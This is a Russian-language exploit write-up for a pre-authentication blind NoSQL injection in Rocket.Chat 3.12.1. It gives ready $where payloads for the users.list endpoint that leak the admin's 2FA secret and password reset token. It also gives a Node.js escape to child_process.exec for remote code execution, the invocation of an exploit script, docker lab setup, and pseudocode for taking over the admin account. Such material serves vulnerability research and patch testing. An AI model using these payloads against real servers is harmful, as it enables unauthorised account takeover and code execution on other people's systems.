
Слепая NoSQL-инъекция до аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1
Слепая NoSQL-инъекция без аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1
У администратора, скорее всего, включена двухфакторная аутентификация (2FA). Даже если мы изменим пароль администратора через (1), при входе будет запрошен код 2FA.
Конечная точка API users.list принимает параметр запроса, который уязвим для NoSQL-инъекции. Мы также можем извлекать данные, вызывая ошибку.
Выполняем следующий запрос для получения секрета 2FA администратора: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Затем мы просто делаем (1) для сброса пароля администратора и используем секрет 2FA для генерации кода, с помощью которого можем войти.
Обновлено: Вы также можете получить токен сброса тем же способом, что и секрет 2FA: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('команда_здесь');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
ПРИМЕЧАНИЕ: Если вы не хотите, чтобы администратор был защищен 2FA, можно сделать следующее.
# Захват учетной записи администратора [без 2FA]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)